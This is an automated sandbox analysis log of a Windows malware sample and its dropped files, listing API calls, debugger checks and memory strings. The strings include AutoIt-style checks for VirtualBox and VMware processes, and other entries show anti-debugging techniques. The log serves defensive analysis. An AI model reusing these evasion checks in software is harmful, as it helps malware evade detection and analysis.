                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_0090D836 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,8_2_0090D836
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_0090DB69 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,8_2_0090DB69
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_00919F9F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,8_2_00919F9F
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_0091A0FA SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,8_2_0091A0FA
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_0091A488 FindFirstFileW,Sleep,FindNextFileW,FindClose,8_2_0091A488
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_009165F1 FindFirstFileW,FindNextFileW,FindClose,8_2_009165F1
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_008DC642 FindFirstFileExW,8_2_008DC642
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_009172E9 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,8_2_009172E9
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_00917248 FindFirstFileW,FindClose,8_2_00917248
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00F1E387 lstrlenW,GetFileAttributesW,FindFirstFileW,FindClose,15_2_00F1E387
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00F1D836 FindFirstFileW,DeleteFileW,DeleteFileW,MoveFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,15_2_00F1D836
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00F1DB69 FindFirstFileW,DeleteFileW,FindNextFileW,FindClose,FindClose,15_2_00F1DB69
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00F29F9F SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,GetFileAttributesW,SetFileAttributesW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,15_2_00F29F9F
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00F2A0FA SetCurrentDirectoryW,FindFirstFileW,FindFirstFileW,FindNextFileW,FindClose,FindFirstFileW,SetCurrentDirectoryW,SetCurrentDirectoryW,SetCurrentDirectoryW,FindNextFileW,FindClose,FindClose,15_2_00F2A0FA
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00F2A488 FindFirstFileW,Sleep,FindNextFileW,FindClose,15_2_00F2A488
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00F265F1 FindFirstFileW,FindNextFileW,FindClose,15_2_00F265F1
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00EEC642 FindFirstFileExW,15_2_00EEC642
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00F272E9 FindFirstFileW,FindClose,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToLocalFileTime,FileTimeToSystemTime,FileTimeToSystemTime,FileTimeToSystemTime,15_2_00F272E9
                Source: C:\Users\user\AppData\Local\Temp\xhqk\lijei.mp3.exeCode function: 15_2_00F27248 FindFirstFileW,FindClose,15_2_00F27248
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D94E14 VirtualQuery,GetSystemInfo,0_2_00D94E14
                Source: lijei.mp3.exe, 0000000F.00000003.2423916411.0000000000A55000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: If ProcessExists("VboxService.exe") Then
                Source: lijei.mp3, 00000008.00000003.2381324300.00000000014D2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMwareUser.exe
                Source: lijei.mp3, 00000008.00000003.2381324300.00000000014D2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMwareService.exe=KO
                Source: lijei.mp3, 00000008.00000003.2272207151.0000000001484000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: If ProcessExists("VboxService.exe") ThenFX0#
                Source: lijei.mp3.exe, 0000000F.00000003.2508838955.0000000000A5B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: rocessExists("VboxService.exe") Then
                Source: lijei.mp3, 00000008.00000003.2381953382.000000000148A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: If ProcessExists("VboxService.exe") ThenFX0
                Source: lijei.mp3.exe, 0000000F.00000003.2508564019.0000000000A9A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMwareUser.exeg7
                Source: lijei.mp3.exe, 0000000F.00000003.2508838955.0000000000A5B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareService.exe") Then"
                Source: lijei.mp3.exe, 0000000F.00000003.2423916411.0000000000A55000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareService.exe") Then
                Source: lijei.mp3.exe, 0000000F.00000003.2508564019.0000000000A9A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VMwareService.exe65687~7
                Source: uudcsppmql.jpg.0.drBinary or memory string: If ProcessExists("VboxService.exe") Then
                Source: uudcsppmql.jpg.0.drBinary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareUser.exe") Then
                Source: lijei.mp3, 00000008.00000003.2272160913.0000000001474000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2381228278.0000000001486000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2272207151.0000000001484000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: If ProcessExists("VBoxTray.exe") Then&
                Source: lijei.mp3.exe, 0000000F.00000003.2510022561.0000000000AA8000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2508743121.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2508564019.0000000000A9A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VBoxTray.exe
                Source: lijei.mp3.exe, 0000000F.00000003.2508838955.0000000000A5B000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareUser.exe") Then
                Source: uudcsppmql.jpg.0.drBinary or memory string: If DriveSpaceFree("d:\") < 1 And ProcessExists("VMwareService.exe") Then
                Source: lijei.mp3.exe, 0000000F.00000003.2508564019.0000000000A9A000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VboxService.exe
                Source: lijei.mp3, 00000008.00000003.2381009937.00000000014CA000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2381842912.00000000014DF000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2381891954.00000000014E3000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2381244597.00000000014D1000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3, 00000008.00000003.2381324300.00000000014D2000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: VBoxTray.exe<FA
                Source: lijei.mp3.exe, 0000000F.00000003.2510818297.0000000000A55000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2423916411.0000000000A55000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2510138675.0000000000A49000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000002.2511200921.0000000000A57000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2510230880.0000000000A52000.00000004.00000020.00020000.00000000.sdmp, lijei.mp3.exe, 0000000F.00000003.2510659650.0000000000A53000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: If ProcessExists("VBoxTray.exe") Then
                Source: uudcsppmql.jpg.8.dr, uudcsppmql.jpg.0.drBinary or memory string: If ProcessExists("VBoxTray.exe") Then
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeAPI call chain: ExitProcess graph end nodegraph_0-28508
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Process information queried: ProcessInformationJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess queried: DebugPortJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess queried: DebugPortJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeProcess queried: DebugPortJump to behavior
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B096E rdtsc 14_2_018B096E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_00417D83 LdrLoadDll,14_2_00417D83
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_0091F3FF BlockInput,8_2_0091F3FF
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D96878 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,0_2_00D96878
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_008A5D78 GetVersionExW,GetCurrentProcess,IsWow64Process,LoadLibraryA,GetProcAddress,GetNativeSystemInfo,FreeLibrary,GetSystemInfo,GetSystemInfo,8_2_008A5D78
                Source: C:\Users\user\Desktop\qPLzfnxGbj.exeCode function: 0_2_00D9ECAA mov eax, dword ptr fs:[00000030h]0_2_00D9ECAA
                Source: C:\Users\user\AppData\Local\Temp\RarSFX0\lijei.mp3Code function: 8_2_008C5078 mov eax, dword ptr fs:[00000030h]8_2_008C5078
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B0185 mov eax, dword ptr fs:[00000030h]14_2_018B0185
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F019F mov eax, dword ptr fs:[00000030h]14_2_018F019F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F019F mov eax, dword ptr fs:[00000030h]14_2_018F019F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F019F mov eax, dword ptr fs:[00000030h]14_2_018F019F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F019F mov eax, dword ptr fs:[00000030h]14_2_018F019F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0186A197 mov eax, dword ptr fs:[00000030h]14_2_0186A197
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0186A197 mov eax, dword ptr fs:[00000030h]14_2_0186A197
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0186A197 mov eax, dword ptr fs:[00000030h]14_2_0186A197
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01914180 mov eax, dword ptr fs:[00000030h]14_2_01914180
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01914180 mov eax, dword ptr fs:[00000030h]14_2_01914180
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0192C188 mov eax, dword ptr fs:[00000030h]14_2_0192C188
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0192C188 mov eax, dword ptr fs:[00000030h]14_2_0192C188
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_019361C3 mov eax, dword ptr fs:[00000030h]14_2_019361C3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_019361C3 mov eax, dword ptr fs:[00000030h]14_2_019361C3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018EE1D0 mov eax, dword ptr fs:[00000030h]14_2_018EE1D0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018EE1D0 mov eax, dword ptr fs:[00000030h]14_2_018EE1D0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018EE1D0 mov ecx, dword ptr fs:[00000030h]14_2_018EE1D0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018EE1D0 mov eax, dword ptr fs:[00000030h]14_2_018EE1D0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018EE1D0 mov eax, dword ptr fs:[00000030h]14_2_018EE1D0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_019461E5 mov eax, dword ptr fs:[00000030h]14_2_019461E5
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018A01F8 mov eax, dword ptr fs:[00000030h]14_2_018A01F8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01930115 mov eax, dword ptr fs:[00000030h]14_2_01930115
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0191A118 mov ecx, dword ptr fs:[00000030h]14_2_0191A118
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0191A118 mov eax, dword ptr fs:[00000030h]14_2_0191A118
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0191A118 mov eax, dword ptr fs:[00000030h]14_2_0191A118
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0191A118 mov eax, dword ptr fs:[00000030h]14_2_0191A118
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0191E10E mov eax, dword ptr fs:[00000030h]14_2_0191E10E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0191E10E mov ecx, dword ptr fs:[00000030h]14_2_0191E10E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0191E10E mov eax, dword ptr fs:[00000030h]14_2_0191E10E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0191E10E mov eax, dword ptr fs:[00000030h]14_2_0191E10E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0191E10E mov ecx, dword ptr fs:[00000030h]14_2_0191E10E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0191E10E mov eax, dword ptr fs:[00000030h]14_2_0191E10E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0191E10E mov eax, dword ptr fs:[00000030h]14_2_0191E10E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0191E10E mov ecx, dword ptr fs:[00000030h]14_2_0191E10E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0191E10E mov eax, dword ptr fs:[00000030h]14_2_0191E10E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0191E10E mov ecx, dword ptr fs:[00000030h]14_2_0191E10E
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018A0124 mov eax, dword ptr fs:[00000030h]14_2_018A0124
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01908158 mov eax, dword ptr fs:[00000030h]14_2_01908158
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0186C156 mov eax, dword ptr fs:[00000030h]14_2_0186C156
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01876154 mov eax, dword ptr fs:[00000030h]14_2_01876154
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01876154 mov eax, dword ptr fs:[00000030h]14_2_01876154
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01904144 mov eax, dword ptr fs:[00000030h]14_2_01904144
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01904144 mov eax, dword ptr fs:[00000030h]14_2_01904144
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01904144 mov ecx, dword ptr fs:[00000030h]14_2_01904144
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01904144 mov eax, dword ptr fs:[00000030h]14_2_01904144
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01904144 mov eax, dword ptr fs:[00000030h]14_2_01904144
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01944164 mov eax, dword ptr fs:[00000030h]14_2_01944164
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01944164 mov eax, dword ptr fs:[00000030h]14_2_01944164
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187208A mov eax, dword ptr fs:[00000030h]14_2_0187208A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018680A0 mov eax, dword ptr fs:[00000030h]14_2_018680A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_019360B8 mov eax, dword ptr fs:[00000030h]14_2_019360B8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_019360B8 mov ecx, dword ptr fs:[00000030h]14_2_019360B8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_019080A8 mov eax, dword ptr fs:[00000030h]14_2_019080A8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F20DE mov eax, dword ptr fs:[00000030h]14_2_018F20DE
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0186A0E3 mov ecx, dword ptr fs:[00000030h]14_2_0186A0E3
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018780E9 mov eax, dword ptr fs:[00000030h]14_2_018780E9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F60E0 mov eax, dword ptr fs:[00000030h]14_2_018F60E0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0186C0F0 mov eax, dword ptr fs:[00000030h]14_2_0186C0F0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018B20F0 mov ecx, dword ptr fs:[00000030h]14_2_018B20F0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F4000 mov ecx, dword ptr fs:[00000030h]14_2_018F4000
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01912000 mov eax, dword ptr fs:[00000030h]14_2_01912000
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01912000 mov eax, dword ptr fs:[00000030h]14_2_01912000
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01912000 mov eax, dword ptr fs:[00000030h]14_2_01912000
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01912000 mov eax, dword ptr fs:[00000030h]14_2_01912000
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01912000 mov eax, dword ptr fs:[00000030h]14_2_01912000
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01912000 mov eax, dword ptr fs:[00000030h]14_2_01912000
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01912000 mov eax, dword ptr fs:[00000030h]14_2_01912000
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01912000 mov eax, dword ptr fs:[00000030h]14_2_01912000
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0188E016 mov eax, dword ptr fs:[00000030h]14_2_0188E016
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0188E016 mov eax, dword ptr fs:[00000030h]14_2_0188E016
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0188E016 mov eax, dword ptr fs:[00000030h]14_2_0188E016
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0188E016 mov eax, dword ptr fs:[00000030h]14_2_0188E016
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01906030 mov eax, dword ptr fs:[00000030h]14_2_01906030
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0186A020 mov eax, dword ptr fs:[00000030h]14_2_0186A020
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0186C020 mov eax, dword ptr fs:[00000030h]14_2_0186C020
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01872050 mov eax, dword ptr fs:[00000030h]14_2_01872050
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F6050 mov eax, dword ptr fs:[00000030h]14_2_018F6050
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0189C073 mov eax, dword ptr fs:[00000030h]14_2_0189C073
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0189438F mov eax, dword ptr fs:[00000030h]14_2_0189438F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0189438F mov eax, dword ptr fs:[00000030h]14_2_0189438F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0186E388 mov eax, dword ptr fs:[00000030h]14_2_0186E388
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0186E388 mov eax, dword ptr fs:[00000030h]14_2_0186E388
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0186E388 mov eax, dword ptr fs:[00000030h]14_2_0186E388
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01868397 mov eax, dword ptr fs:[00000030h]14_2_01868397
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01868397 mov eax, dword ptr fs:[00000030h]14_2_01868397
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_01868397 mov eax, dword ptr fs:[00000030h]14_2_01868397
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_019143D4 mov eax, dword ptr fs:[00000030h]14_2_019143D4
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_019143D4 mov eax, dword ptr fs:[00000030h]14_2_019143D4
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187A3C0 mov eax, dword ptr fs:[00000030h]14_2_0187A3C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187A3C0 mov eax, dword ptr fs:[00000030h]14_2_0187A3C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187A3C0 mov eax, dword ptr fs:[00000030h]14_2_0187A3C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187A3C0 mov eax, dword ptr fs:[00000030h]14_2_0187A3C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187A3C0 mov eax, dword ptr fs:[00000030h]14_2_0187A3C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0187A3C0 mov eax, dword ptr fs:[00000030h]14_2_0187A3C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018783C0 mov eax, dword ptr fs:[00000030h]14_2_018783C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018783C0 mov eax, dword ptr fs:[00000030h]14_2_018783C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018783C0 mov eax, dword ptr fs:[00000030h]14_2_018783C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018783C0 mov eax, dword ptr fs:[00000030h]14_2_018783C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0191E3DB mov eax, dword ptr fs:[00000030h]14_2_0191E3DB
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0191E3DB mov eax, dword ptr fs:[00000030h]14_2_0191E3DB
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0191E3DB mov ecx, dword ptr fs:[00000030h]14_2_0191E3DB
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0191E3DB mov eax, dword ptr fs:[00000030h]14_2_0191E3DB
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018F63C0 mov eax, dword ptr fs:[00000030h]14_2_018F63C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0192C3CD mov eax, dword ptr fs:[00000030h]14_2_0192C3CD
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018803E9 mov eax, dword ptr fs:[00000030h]14_2_018803E9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018803E9 mov eax, dword ptr fs:[00000030h]14_2_018803E9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018803E9 mov eax, dword ptr fs:[00000030h]14_2_018803E9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018803E9 mov eax, dword ptr fs:[00000030h]14_2_018803E9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018803E9 mov eax, dword ptr fs:[00000030h]14_2_018803E9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018803E9 mov eax, dword ptr fs:[00000030h]14_2_018803E9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018803E9 mov eax, dword ptr fs:[00000030h]14_2_018803E9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018803E9 mov eax, dword ptr fs:[00000030h]14_2_018803E9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_018A63FF mov eax, dword ptr fs:[00000030h]14_2_018A63FF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 14_2_0188E3F0 mov eax, dword ptr fs:[00000030h]14_2_0188E3F0
